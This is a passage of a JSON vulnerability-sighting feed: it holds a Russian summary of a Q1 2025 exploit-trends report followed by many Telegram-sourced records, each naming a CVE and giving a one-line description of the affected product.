\u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u0430\u0442\u0430\u043a \u0434\u043b\u044f Linux \u043d\u0430 Windows \u0438 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442.\n\n\u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0430\u0442\u0430\u043a \u0441 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u043c\u0438 \u0434\u043b\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Windows \u0432\u044b\u0440\u043e\u0441\u043b\u043e \u043f\u043e \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044e \u0441 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u043c \u043f\u0435\u0440\u0438\u043e\u0434\u043e\u043c \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430.\n\n\u041a\u0430\u043a \u0438 \u043f\u0440\u0435\u0436\u0434\u0435, \u043b\u044c\u0432\u0438\u043d\u0430\u044f \u0434\u043e\u043b\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0431\u044b\u043b\u0430 \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Microsoft Office.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u0447\u0430\u0449\u0435 \u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Windows \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0441\u0442\u0430\u0440\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c: CVE-2018-0802, CVE-2017-11882 (\u043e\u0431\u0435 RCE \u0432 Equation Editor), CVE-2017-0199 (Microsoft Office \u0438 WordPad).\n\n\u0412\u0441\u0435 \u0442\u0440\u0438 \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u0430\u043c\u044b\u043c\u0438 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u043c\u0438 \u043d\u0430 \u043f\u0440\u043e\u0442\u044f\u0436\u0435\u043d\u0438\u0438 2024 \u0433\u043e\u0434\u0430, \u0438 \u043c\u044b \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c, \u0447\u0442\u043e \u0442\u0430\u043a\u0430\u044f \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u044f \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0438 \u0432 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c.\n\n\u0417\u0430 \u043d\u0438\u043c\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0432 WinRAR \u0438 \u0432 \u0441\u0430\u043c\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Windows: CVE-2023-38831 (WinRAR), CVE-2024-35250 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430\u00a0ks.sys) \u0438 CVE-2022-3699 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 Lenovo Diagnostics).\n\n\u0414\u043b\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Linux \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0441\u0435\u0433\u043e \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c: CVE-2022-0847 (Dirty Pipe), CVE-2019-13272 (\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439) \u0438 CVE-2021-3156 (\u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435\u00a0sudo).\n\n\u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043a\u0430\u043a \u0441\u0430\u043c\u043e\u0435 \u0441\u043b\u043e\u0436\u043d\u043e\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043b\u0438\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u0443 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u044b\u0439 \u0440\u043e\u0441\u0442 \u0447\u0438\u0441\u043b\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u043c - \u044d\u0442\u0430 \u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u044f \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u043b\u0430\u0441\u044c \u0438 \u043d\u0430 \u043f\u0440\u043e\u0442\u044f\u0436\u0435\u043d\u0438\u0438 \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430.\n\n\u0422\u0430\u043a\u0436\u0435 \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u043b\u0430\u0441\u044c \u0434\u043e\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Microsoft Office.\n\n\u0418\u0437\u0443\u0447\u0438\u0432 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 APT, \u0432 \u041b\u041a \u0432\u044b\u0434\u0435\u043b\u0438\u043b\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0435\u0441\u044f \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430: CVE-2025-0282, CVE-2024-21887 \u0438 CVE-2025-0283 (Ivanti Connect Secure), CVE-2020-1472 (Netlogon Windows), CVE-2023-46805 (Ivanti ICS), CVE-2023-48788 (Fortinet) \u0438 \u0434\u0440.\n\n\u041e\u0442\u043c\u0435\u0442\u0438\u043c, \u0447\u0442\u043e \u0432 TOP 10 \u0432\u0435\u0440\u043d\u0443\u043b\u0430\u0441\u044c \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Zerologon, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0443 \u0434\u043e\u043c\u0435\u043d\u0430.\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 2025 \u0433\u043e\u0434\u0430 \u0440\u0435\u0441\u0435\u0440\u0447\u0435\u0440\u044b \u041b\u041a \u0432\u044b\u0434\u0435\u043b\u0438\u043b\u0438: \n\n- ZDI-CAN-25373: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 lnk-\u0444\u0430\u0439\u043b\u043e\u0432 \u0432 \u041e\u0421 Windows;\n\n- CVE-2025-21333: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u0443\u0447\u0435 \u0432 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435 vkrnlintvsp.sys;\n\n- CVE-2025-24071: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0442\u0435\u0447\u043a\u0438 NetNTLM-\u0445\u044d\u0448\u0430 \u0432 \u0438\u043d\u0434\u0435\u043a\u0441\u0430\u0442\u043e\u0440\u0435 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0430\u044f \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u0438 \u0438\u043d\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u043a\u0430 - \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2025-06-04T18:00:07.000000Z"}, {"uuid": "3750588e-f501-412b-85ed-82e8a18119c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4839", "type": "seen", "source": "Telegram/od5o4I5TB6aBkP31Rl0rKp_jZONub_QKglZirx_SK589mrBi", "content": "", "creation_timestamp": "2025-02-14T10:03:08.000000Z"}, {"uuid": "38cedb77-9e20-4f0b-b59a-d25464d60db1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48785", "type": "seen", "source": "https://t.me/cvedetector/20326", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-48785 - FortiNAC-F Certificate Validation Weakness\", \n  \"Content\": \"CVE ID : CVE-2023-48785 \nPublished : March 14, 2025, 4:15 p.m. | 1\u00a0hour, 19\u00a0minutes ago \nDescription : An improper certificate validation vulnerability [CWE-295] in FortiNAC-F version 7.2.4 and below may allow a remote and unauthenticated attacker to perform a Man-in-the-Middle attack on the HTTPS communication channel between the FortiOS device, an inventory, and FortiNAC-F. \nSeverity: 4.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-14T19:13:26.000000Z"}, {"uuid": "0ccc375b-1950-4826-ae3c-54c77963143e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48283", "type": "seen", "source": "https://t.me/ctinow/157265", "content": "https://ift.tt/PFBykIq\nCVE-2023-48283 | PressTigers Simple Testimonials Showcase Plugin up to 1.1.5 on WordPress cross-site request forgery", "creation_timestamp": "2023-12-20T20:19:21.000000Z"}, {"uuid": "e9b3766e-8684-4080-a0ea-92e51954bacf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48284", "type": "seen", "source": "https://t.me/ctinow/157264", "content": "https://ift.tt/Kpzl1St\nCVE-2023-48284 | WebToffee Decorator Plugin up to 1.2.7 on WordPress cross-site request forgery", "creation_timestamp": "2023-12-20T20:19:20.000000Z"}, {"uuid": "1a3554b2-4ffa-4a3c-8457-7636e2b7999f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48964", "type": "seen", "source": "https://t.me/ctinow/157263", "content": "https://ift.tt/t4XEA78\nCVE-2023-48964 | Tenda i6 1.0.0.8 /goform/WifiMacFilterSet buffer overflow", "creation_timestamp": "2023-12-20T20:19:19.000000Z"}, {"uuid": "e43d5c10-be84-4a05-ba0a-f21f9771f2ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4858", "type": "seen", "source": "https://t.me/cibsecurity/73642", "content": "\u203c CVE-2023-4858 \u203c\n\nThe Simple Table Manager WordPress plugin through 1.5.6 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-07T00:25:57.000000Z"}, {"uuid": "68971ed1-30f4-49af-a7f9-2031eb6a6e00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48323", "type": "seen", "source": "https://t.me/ctinow/155558", "content": "https://ift.tt/9RmudfL\nCVE-2023-48323 | Awesome Support Plugin up to 6.1.4 on WordPress wpas_edit_reply_ajax cross-site request forgery", "creation_timestamp": "2023-12-17T10:11:52.000000Z"}, {"uuid": "87dbecd1-c1aa-460a-b5ca-8bfef63a6f65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48952", "type": "seen", "source": "https://t.me/ctinow/157035", "content": "https://ift.tt/8BEx1NX\nCVE-2023-48952 | openlink virtuoso-opensource 7.2.11 SELECT Statement box_deserialize_reusing denial of service (Issue 1175)", "creation_timestamp": "2023-12-20T14:46:26.000000Z"}, {"uuid": "65cb62ce-3203-4258-99b0-59d34b6bceac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48049", "type": "seen", "source": "https://t.me/ctinow/157151", "content": "https://ift.tt/Fu2MEtj\nCVE-2023-48049 Exploit", "creation_timestamp": "2023-12-20T17:18:26.000000Z"}, {"uuid": "9a004a84-3614-42bc-bdb4-b021625d89cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48751", "type": "seen", "source": "https://t.me/ctinow/156920", "content": "https://ift.tt/q2OLZgc\nCVE-2023-48751 | Participants Database Plugin up to 2.5.5 on WordPress authorization", "creation_timestamp": "2023-12-20T12:11:59.000000Z"}, {"uuid": "4c981ede-6c92-4670-976d-1e36995f6dab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48042", "type": "seen", "source": "https://t.me/ctinow/155657", "content": "https://ift.tt/Zo1gU8J\nCVE-2023-48042 | Amazzing Filter up to 3.2.2 on Prestashop cross site scripting", "creation_timestamp": "2023-12-17T19:17:47.000000Z"}, {"uuid": "36f4cdc2-1963-42a5-8edc-f56607e37a70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48278", "type": "seen", "source": "https://t.me/ctinow/155652", "content": "https://ift.tt/TRrgNwx\nCVE-2023-48278 | WP Forms Puzzle Captcha Plugin up to 4.1 on WordPress CAPTCHA Page cross-site request forgery", "creation_timestamp": "2023-12-17T18:47:44.000000Z"}, {"uuid": "7727e0d9-93e6-4430-ab54-e71b1bd5b582", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48743", "type": "seen", "source": "https://t.me/ctinow/155650", "content": "https://ift.tt/qPmHAov\nCVE-2023-48743 | Simply Exclude Plugin up to 2.0.6.6 on WordPress cross site scripting", "creation_timestamp": "2023-12-17T18:17:38.000000Z"}, {"uuid": "6300b30e-9eea-4a46-9681-520f49bff5f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48744", "type": "seen", "source": "https://t.me/ctinow/155561", "content": "https://ift.tt/VUStxDk\nCVE-2023-48744 | Availability Calendar Plugin up to 1.2.6 on WordPress add_availability_calendar_create_admin_page cross-site request forgery", "creation_timestamp": "2023-12-17T10:11:56.000000Z"}, {"uuid": "317b7a56-1de2-4188-9491-46a4338a90a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48193", "type": "seen", "source": "https://t.me/ctinow/156806", "content": "https://ift.tt/Ioqlfkh\nCVE-2023-48193 | JumpServer 3.8.0 permission", "creation_timestamp": "2023-12-20T08:41:54.000000Z"}, {"uuid": "ab05234d-eaef-401e-a39e-b604947df845", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48334", "type": "seen", "source": "https://t.me/ctinow/155609", "content": "https://ift.tt/eRBPTWt\nCVE-2023-48334 | League Table Plugin up to 1.13 on WordPress cross-site request forgery", "creation_timestamp": "2023-12-17T14:17:19.000000Z"}, {"uuid": "9328727c-fd1b-413e-bb7c-a8c7664921c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48330", "type": "seen", "source": "https://t.me/ctinow/155608", "content": "https://ift.tt/AKHdClp\nCVE-2023-48330 | Bulk Comment Remove Plugin on WordPress brc_admin cross-site request forgery", "creation_timestamp": "2023-12-17T14:17:18.000000Z"}, {"uuid": "d03750ab-abf6-458e-8590-3a71600162d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "Telegram/Mngct84mCz7lSDx0uk4uMuQLf745FDPXeRIP1hndScImTw", "content": "", "creation_timestamp": "2024-03-26T07:20:50.000000Z"}, {"uuid": "59e9fa23-3545-4874-8f49-7289b76bc0bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48329", "type": "seen", "source": "https://t.me/ctinow/157132", "content": "https://ift.tt/GUBOIWu\nCVE-2023-48329 | CodeBard Fast Custom Social Share by Plugin up to 1.1.1 on WordPress cross site scripting", "creation_timestamp": "2023-12-20T16:46:58.000000Z"}, {"uuid": "4253e0eb-ae4f-4c71-8fe0-6fcf3a32693d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48326", "type": "seen", "source": "https://t.me/ctinow/157130", "content": "https://ift.tt/8lSr2Fh\nCVE-2023-48326 | Pixelite Events Manager Plugin up to 6.4.5 on WordPress cross site scripting", "creation_timestamp": "2023-12-20T16:46:56.000000Z"}, {"uuid": "33163033-767d-4719-90d9-b0e4e4703772", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48336", "type": "seen", "source": "https://t.me/ctinow/157129", "content": "https://ift.tt/ezZ2thr\nCVE-2023-48336 | cybernetikz Easy Social Icons Plugin up to 3.2.4 on WordPress cross site scripting", "creation_timestamp": "2023-12-20T16:46:55.000000Z"}, {"uuid": "fce368b3-477a-41a8-b50c-ff47fd6ca42d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48881", "type": "seen", "source": "https://t.me/ctinow/156893", "content": "https://ift.tt/Rn3a0Cs\nCVE-2023-48881 | EyouCMS 1.6.4-UTF8-SP1 login.php Field Title cross site scripting (Issue 53)", "creation_timestamp": "2023-12-20T11:41:54.000000Z"}, {"uuid": "592c45e6-fbbf-4d4f-b4d1-8a27c2b020ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48880", "type": "seen", "source": "https://t.me/ctinow/156892", "content": "https://ift.tt/arf9ul5\nCVE-2023-48880 | EyouCMS 1.6.4-UTF8-SP1 login.php Menu Name cross site scripting (Issue 52)", "creation_timestamp": "2023-12-20T11:41:53.000000Z"}, {"uuid": "da3c8acc-98ec-4e02-ae62-8bf86e6070cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48848", "type": "seen", "source": "https://t.me/ctinow/156791", "content": "https://ift.tt/V3l6NrH\nCVE-2023-48848 | ureport 2.2.9 Path path traversal", "creation_timestamp": "2023-12-20T08:01:58.000000Z"}, {"uuid": "f22da396-40fb-4011-b961-5b4b7f1184cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48121", "type": "seen", "source": "https://t.me/ctinow/156786", "content": "https://ift.tt/7HduGLe\nCVE-2023-48121 | EZVIZ CS-C6N-xxx/CS-CV310-xxx/CS-C6CN-xxx/CS-C3N-xxx prior 5.3.x Build 20230401 Direct Connection Module access control", "creation_timestamp": "2023-12-20T07:32:33.000000Z"}, {"uuid": "20af7bef-a250-4100-b98d-e90e1abecd7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48702", "type": "seen", "source": "https://t.me/ctinow/156178", "content": "https://ift.tt/oN3gQpB\nCVE-2023-48702 Exploit", "creation_timestamp": "2023-12-18T23:17:44.000000Z"}, {"uuid": "05d468b4-b849-4b76-9034-56365c369156", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48322", "type": "seen", "source": "https://t.me/ctinow/157109", "content": "https://ift.tt/0vOJb3F\nCVE-2023-48322 | eDoc Intelligence eDoc Employee Job Application Plugin up to 1.13 on WordPress cross site scripting", "creation_timestamp": "2023-12-20T16:18:13.000000Z"}, {"uuid": "5c689260-33ab-4873-b7e7-13632ae147ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48289", "type": "seen", "source": "https://t.me/ctinow/157108", "content": "https://ift.tt/NiXJEK2\nCVE-2023-48289 | SpreadsheetConverter Import Spreadsheets from Microsoft Excel Plugin up to 10.1.3 on WordPress cross site scripting", "creation_timestamp": "2023-12-20T16:18:12.000000Z"}, {"uuid": "a2f3c7ed-7ae8-4526-a76c-20ae472dc9cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48764", "type": "seen", "source": "https://t.me/ctinow/156975", "content": "https://ift.tt/b4FDjfh\nCVE-2023-48764", "creation_timestamp": "2023-12-20T13:53:06.000000Z"}, {"uuid": "c34ed6f4-a84b-491c-8eac-9c12f9b11200", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48741", "type": "seen", "source": "https://t.me/ctinow/156974", "content": "https://ift.tt/AajMosQ\nCVE-2023-48741", "creation_timestamp": "2023-12-20T13:53:05.000000Z"}, {"uuid": "e4ccdbbd-ff27-48e4-9a1a-8a6ec83843be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48951", "type": "seen", "source": "https://t.me/ctinow/157034", "content": "https://ift.tt/qE9I5hZ\nCVE-2023-48951 | openlink virtuoso-opensource 7.2.11 SELECT Statement box_equal denial of service (Issue 1177)", "creation_timestamp": "2023-12-20T14:46:25.000000Z"}, {"uuid": "98c0e11e-0bda-44d3-9e07-68643c8476e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48949", "type": "seen", "source": "https://t.me/ctinow/157008", "content": "https://ift.tt/q1rVnoO\nCVE-2023-48949 | openlink virtuoso-opensource 7.2.11 SELECT Statement box_add denial of service (Issue 1173)", "creation_timestamp": "2023-12-20T14:18:14.000000Z"}, {"uuid": "403be51c-9a31-4a62-8edd-58032aa9303d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48948", "type": "seen", "source": "https://t.me/ctinow/157007", "content": "https://ift.tt/t3FIBuP\nCVE-2023-48948 | openlink virtuoso-opensource 7.2.11 SELECT Statement box_div denial of service (Issue 1176)", "creation_timestamp": "2023-12-20T14:18:13.000000Z"}, {"uuid": "5431e8dd-33d2-4e8a-bcde-bd0db353b6c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48947", "type": "seen", "source": "https://t.me/ctinow/157006", "content": "https://ift.tt/w9RDX1r\nCVE-2023-48947 | openlink virtuoso-opensource 7.2.11 SELECT Statement cha_cmp denial of service (Issue 1179)", "creation_timestamp": "2023-12-20T14:18:12.000000Z"}, {"uuid": "c2e8de98-363d-4fea-b4df-b12f32c3172b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", 